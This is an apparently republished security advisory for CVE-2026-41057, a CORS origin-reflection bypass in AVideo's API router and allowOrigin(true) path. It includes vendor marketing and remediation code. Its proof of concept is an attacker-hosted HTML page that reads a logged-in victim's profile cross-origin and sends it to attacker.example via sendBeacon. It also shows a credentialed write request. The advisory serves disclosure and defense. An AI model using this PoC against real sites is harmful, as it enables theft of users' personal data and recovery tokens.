Summary
The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.
Details
Bypass Vector 1: router.php independent CORS handler
plugin/API/router.php:4-8 runs before any application code:
// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
header('Access-Control-Allow-Origin: *');
} else {
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}
This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately, the fixed allowOrigin() function never executes:
// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header("Access-Control-Max-Age: 86400");
http_response_code(200);
exit;
}
All /api/* requests are routed through this file via .htaccess rules (lines 131-132).
Bypass Vector 2: allowOrigin($allowAll=true)
Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:
// objects/functions.php lines 2773-2777
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
}
This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.
Impact on data exposure
Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:
- Video listing endpoint (
get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data. - User profile endpoint (
get_api_user): When$isViewingOwnProfileis true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.
Additional issue: Referer header fallback
router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.
PoC
Step 1: Host the following HTML on an attacker-controlled domain:
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
Step 2: Victim visits attacker page while logged into AVideo.
Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.
Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.
For set endpoints (POST with custom headers requiring preflight):
fetch('https://target-avideo.example/api/SomeSetEndpoint', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({/* parameters */})
});
The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit, the CORS fix in allowOrigin() never runs.
Impact
- Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
- Account information disclosure: The user profile endpoint returns the full user record including
recoverPass(password recovery token),isAdminstatus, and all PII fields when accessed as the authenticated user. - Action on behalf of user: Write endpoints (
set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session. - Bypass of intentional fix: This directly circumvents the CORS hardening in commit
986e64aad.
CVE-2026-41057 has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:
// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
require_once __DIR__.'/../../videos/configuration.php';
allowOrigin(false); // Use the validated CORS handler
header("Access-Control-Max-Age: 86400");
http_response_code(204);
exit;
}
2. Fix allowOrigin($allowAll=true) to validate origins, or stop using it for API endpoints:
// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false); // Use validated CORS for API endpoints
Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).
3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.
Frequently Asked Questions
- What is CVE-2026-41057? CVE-2026-41057 is a high-severity security vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet.
- How severe is CVE-2026-41057? CVE-2026-41057 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-41057? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-41057? No fixed version is listed for CVE-2026-41057 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-41057 exploitable, and should I be worried? Whether CVE-2026-41057 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41057 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.